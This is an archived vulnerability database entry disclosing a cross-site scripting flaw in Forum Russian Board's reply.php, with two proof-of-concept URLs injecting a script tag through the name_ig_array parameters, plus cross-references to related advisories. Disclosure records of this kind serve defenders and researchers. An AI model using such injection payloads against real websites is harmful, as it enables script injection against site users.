Forum Russian Board (FRB) reply.php Multiple Variable XSS

2005-06-21T09:35:14
ID OSVDB:17491
Type osvdb
Reporter OSVDB
Modified 2005-06-21T09:35:14

Description

Manual Testing Notes

reply.php?m_id=1&t=1&mid=1&cat=3&name_ig_array[1]="><script>alert("XSS");</script> reply.php?m_id=1&t=1&mid=1&cat=3&name_ig_array1[1]="><script>alert("XSS");</script>

References:

Vendor URL: http://www.carline.ru/ Secunia Advisory ID:15787 Related OSVDB ID: 17487 Related OSVDB ID: 17485 Related OSVDB ID: 17492 Related OSVDB ID: 17493 Related OSVDB ID: 17484 Related OSVDB ID: 17486 Related OSVDB ID: 17489 Related OSVDB ID: 17490 Related OSVDB ID: 17488 Other Advisory URL: http://rst.void.ru/papers/advisory29.txt Bugtraq ID: 14045